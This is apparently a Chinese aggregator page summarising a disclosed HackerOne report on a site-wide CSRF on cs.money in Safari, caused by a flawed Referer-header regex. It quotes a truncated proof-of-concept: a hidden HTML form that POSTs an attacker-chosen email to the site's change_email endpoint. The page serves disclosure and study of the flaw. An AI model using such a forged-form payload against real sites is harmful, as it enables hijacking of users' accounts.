Site-wide CSRF on Safari due to CORS misconfiguration (not localhost)
该报告还没有中文解读。
原文摘录
摘自原文（2626 字符中的一小部分）
Description Hello there, on `new.cs.money` or `cs.money`, there is anti-CSRF mechanism, which is `Referer` header check. However, I discovered that regex logic for checking `Referer` header is flawed.
原文中的代码
var FormEl = `
<form action="https://new.cs.money/change_email" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<button type="submit" style="font-size:28pt;z-index:99999">Submit</button>
</form>
`;
var Div = …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 CS Money 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @nnez · 版权归作者与 CS Money 所有